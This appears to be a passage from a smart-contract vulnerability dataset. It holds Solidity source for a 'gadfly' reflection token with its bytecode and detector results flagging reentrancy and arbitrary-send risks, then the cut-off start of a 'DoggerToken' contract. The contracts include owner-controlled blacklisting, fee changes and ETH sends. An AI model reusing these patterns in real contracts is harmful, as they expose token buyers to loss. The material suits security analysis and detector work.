return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract gadfly is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "gadfly";
string private constant _symbol = "gadfly";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 6;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610541578063dd62ed3e14610561578063ea1644d5146105a7578063f2fde38b146105c757600080fd5b8063a2a957bb146104bc578063a9059cbb146104dc578063bfd79284146104fc578063c3c8cd801461052c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104665780638f9a55c01461048657806395d89b411461020957806398a5c3151461049c57600080fd5b80637d1db4a5146103f05780637f2feddc146104065780638203f5fe146104335780638da5cb5b1461044857600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038657806370a082311461039b578063715018a6146103bb57806374010ece146103d057600080fd5b8063313ce5671461030a57806349bd5a5e146103265780636b999053146103465780636d8aa8f81461036657600080fd5b80631694505e116101b65780631694505e1461027757806318160ddd146102af57806323b872dd146102d45780632fd689e3146102f457600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024757600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b3a565b6105e7565b005b34801561021557600080fd5b506040805180820182526006815265676164666c7960d01b6020820152905161023e9190611bff565b60405180910390f35b34801561025357600080fd5b50610267610262366004611c54565b610686565b604051901515815260200161023e565b34801561028357600080fd5b50601354610297906001600160a01b031681565b6040516001600160a01b03909116815260200161023e565b3480156102bb57600080fd5b50670de0b6b3a76400005b60405190815260200161023e565b3480156102e057600080fd5b506102676102ef366004611c80565b61069d565b34801561030057600080fd5b506102c660175481565b34801561031657600080fd5b506040516009815260200161023e565b34801561033257600080fd5b50601454610297906001600160a01b031681565b34801561035257600080fd5b50610207610361366004611cc1565b610706565b34801561037257600080fd5b50610207610381366004611cee565b610751565b34801561039257600080fd5b50610207610799565b3480156103a757600080fd5b506102c66103b6366004611cc1565b6107c6565b3480156103c757600080fd5b506102076107e8565b3480156103dc57600080fd5b506102076103eb366004611d09565b61085c565b3480156103fc57600080fd5b506102c660155481565b34801561041257600080fd5b506102c6610421366004611cc1565b60116020526000908152604090205481565b34801561043f57600080fd5b5061020761089e565b34801561045457600080fd5b506000546001600160a01b0316610297565b34801561047257600080fd5b50610207610481366004611cee565b610a83565b34801561049257600080fd5b506102c660165481565b3480156104a857600080fd5b506102076104b7366004611d09565b610ae2565b3480156104c857600080fd5b506102076104d7366004611d22565b610b11565b3480156104e857600080fd5b506102676104f7366004611c54565b610b6b565b34801561050857600080fd5b50610267610517366004611cc1565b60106020526000908152604090205460ff1681565b34801561053857600080fd5b50610207610b78565b34801561054d57600080fd5b5061020761055c366004611d54565b610bae565b34801561056d57600080fd5b506102c661057c366004611dd8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b357600080fd5b506102076105c2366004611d09565b610c4f565b3480156105d357600080fd5b506102076105e2366004611cc1565b610c7e565b6000546001600160a01b0316331461061a5760405162461bcd60e51b815260040161061190611e11565b60405180910390fd5b60005b81518110156106825760016010600084848151811061063e5761063e611e46565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067a81611e72565b91505061061d565b5050565b6000610693338484610d68565b5060015b92915050565b60006106aa848484610e8c565b6106fc84336106f785604051806060016040528060288152602001611f8c602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113c8565b610d68565b5060019392505050565b6000546001600160a01b031633146107305760405162461bcd60e51b815260040161061190611e11565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461077b5760405162461bcd60e51b815260040161061190611e11565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107b957600080fd5b476107c381611402565b50565b6001600160a01b0381166000908152600260205260408120546106979061143c565b6000546001600160a01b031633146108125760405162461bcd60e51b815260040161061190611e11565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108865760405162461bcd60e51b815260040161061190611e11565b6611c37937e08000811161089957600080fd5b601555565b6000546001600160a01b031633146108c85760405162461bcd60e51b815260040161061190611e11565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561092857600080fd5b505afa15801561093c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109609190611e8d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109a857600080fd5b505afa1580156109bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e09190611e8d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a2857600080fd5b505af1158015610a3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a609190611e8d565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610aad5760405162461bcd60e51b815260040161061190611e11565b601454600160a01b900460ff1615610ac457600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b0c5760405162461bcd60e51b815260040161061190611e11565b601755565b6000546001600160a01b03163314610b3b5760405162461bcd60e51b815260040161061190611e11565b60095482111580610b4e5750600b548111155b610b5757600080fd5b600893909355600a91909155600955600b55565b6000610693338484610e8c565b6012546001600160a01b0316336001600160a01b031614610b9857600080fd5b6000610ba3306107c6565b90506107c3816114c0565b6000546001600160a01b03163314610bd85760405162461bcd60e51b815260040161061190611e11565b60005b82811015610c49578160056000868685818110610bfa57610bfa611e46565b9050602002016020810190610c0f9190611cc1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4181611e72565b915050610bdb565b50505050565b6000546001600160a01b03163314610c795760405162461bcd60e51b815260040161061190611e11565b601655565b6000546001600160a01b03163314610ca85760405162461bcd60e51b815260040161061190611e11565b6001600160a01b038116610d0d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610611565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610611565b6001600160a01b038216610e2b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610611565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ef05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610611565b6001600160a01b038216610f525760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610611565b60008111610fb45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610611565b6000546001600160a01b03848116911614801590610fe057506000546001600160a01b03838116911614155b156112c157601454600160a01b900460ff16611079576000546001600160a01b038481169116146110795760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610611565b6015548111156110cb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610611565b6001600160a01b03831660009081526010602052604090205460ff1615801561110d57506001600160a01b03821660009081526010602052604090205460ff16155b6111655760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610611565b6014546001600160a01b038381169116146111ea5760165481611187846107c6565b6111919190611eaa565b106111ea5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610611565b60006111f5306107c6565b60175460155491925082101590821061120e5760155491505b8080156112255750601454600160a81b900460ff16155b801561123f57506014546001600160a01b03868116911614155b80156112545750601454600160b01b900460ff165b801561127957506001600160a01b03851660009081526005602052604090205460ff16155b801561129e57506001600160a01b03841660009081526005602052604090205460ff16155b156112be576112ac826114c0565b4780156112bc576112bc47611402565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130357506001600160a01b03831660009081526005602052604090205460ff165b8061133557506014546001600160a01b0385811691161480159061133557506014546001600160a01b03848116911614155b15611342575060006113bc565b6014546001600160a01b03858116911614801561136d57506013546001600160a01b03848116911614155b1561137f57600854600c55600954600d555b6014546001600160a01b0384811691161480156113aa57506013546001600160a01b03858116911614155b156113bc57600a54600c55600b54600d555b610c4984848484611649565b600081848411156113ec5760405162461bcd60e51b81526004016106119190611bff565b5060006113f98486611ec2565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610682573d6000803e3d6000fd5b60006006548211156114a35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610611565b60006114ad611677565b90506114b9838261169a565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061150857611508611e46565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561155c57600080fd5b505afa158015611570573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115949190611e8d565b816001815181106115a7576115a7611e46565b6001600160a01b0392831660209182029290920101526013546115cd9130911684610d68565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611606908590600090869030904290600401611ed9565b600060405180830381600087803b15801561162057600080fd5b505af1158015611634573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611656576116566116dc565b61166184848461170a565b80610c4957610c49600e54600c55600f54600d55565b6000806000611684611801565b9092509050611693828261169a565b9250505090565b60006114b983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611841565b600c541580156116ec5750600d54155b156116f357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061171c8761186f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174e90876118cc565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461177d908661190e565b6001600160a01b03891660009081526002602052604090205561179f8161196d565b6117a984836119b7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117ee91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061181c828261169a565b82101561183857505060065492670de0b6b3a764000092509050565b90939092509050565b600081836118625760405162461bcd60e51b81526004016106119190611bff565b5060006113f98486611f4a565b600080600080600080600080600061188c8a600c54600d546119db565b925092509250600061189c611677565b905060008060006118af8e878787611a30565b919e509c509a509598509396509194505050505091939550919395565b60006114b983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113c8565b60008061191b8385611eaa565b9050838110156114b95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610611565b6000611977611677565b905060006119858383611a80565b306000908152600260205260409020549091506119a2908261190e565b30600090815260026020526040902055505050565b6006546119c490836118cc565b6006556007546119d4908261190e565b6007555050565b60008080806119f560646119ef8989611a80565b9061169a565b90506000611a0860646119ef8a89611a80565b90506000611a2082611a1a8b866118cc565b906118cc565b9992985090965090945050505050565b6000808080611a3f8886611a80565b90506000611a4d8887611a80565b90506000611a5b8888611a80565b90506000611a6d82611a1a86866118cc565b939b939a50919850919650505050505050565b600082611a8f57506000610697565b6000611a9b8385611f6c565b905082611aa88583611f4a565b146114b95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610611565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c357600080fd5b8035611b3581611b15565b919050565b60006020808385031215611b4d57600080fd5b823567ffffffffffffffff80821115611b6557600080fd5b818501915085601f830112611b7957600080fd5b813581811115611b8b57611b8b611aff565b8060051b604051601f19603f83011681018181108582111715611bb057611bb0611aff565b604052918252848201925083810185019188831115611bce57600080fd5b938501935b82851015611bf357611be485611b2a565b84529385019392850192611bd3565b98975050505050505050565b600060208083528351808285015260005b81811015611c2c57858101830151858201604001528201611c10565b81811115611c3e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c6757600080fd5b8235611c7281611b15565b946020939093013593505050565b600080600060608486031215611c9557600080fd5b8335611ca081611b15565b92506020840135611cb081611b15565b929592945050506040919091013590565b600060208284031215611cd357600080fd5b81356114b981611b15565b80358015158114611b3557600080fd5b600060208284031215611d0057600080fd5b6114b982611cde565b600060208284031215611d1b57600080fd5b5035919050565b60008060008060808587031215611d3857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d6957600080fd5b833567ffffffffffffffff80821115611d8157600080fd5b818601915086601f830112611d9557600080fd5b813581811115611da457600080fd5b8760208260051b8501011115611db957600080fd5b602092830195509350611dcf9186019050611cde565b90509250925092565b60008060408385031215611deb57600080fd5b8235611df681611b15565b91506020830135611e0681611b15565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e8657611e86611e5c565b5060010190565b600060208284031215611e9f57600080fd5b81516114b981611b15565b60008219821115611ebd57611ebd611e5c565b500190565b600082821015611ed457611ed4611e5c565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f295784516001600160a01b031683529383019391830191600101611f04565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f6757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f8657611f86611e5c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206fb810a1f53230bfaf4d99d828c3b5f739de862ff34b93c04e4248ca7aa4eb2e64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,315 |
0x56143e2736c1b7f8a7d8c74707777850b46ac9af | /**
*Submitted for verification at Etherscan.io on 2022-03-27
*/
/**
https://t.me/doggertoken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DoggerToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Dogger Token";
string private constant _symbol = "DOGGER";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x0e36c9A23E838f234F50f4F7572a2A3587A398e0);
address payable private _marketingAddress = payable(0x0e36c9A23E838f234F50f4F7572a2A3587A398e0);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
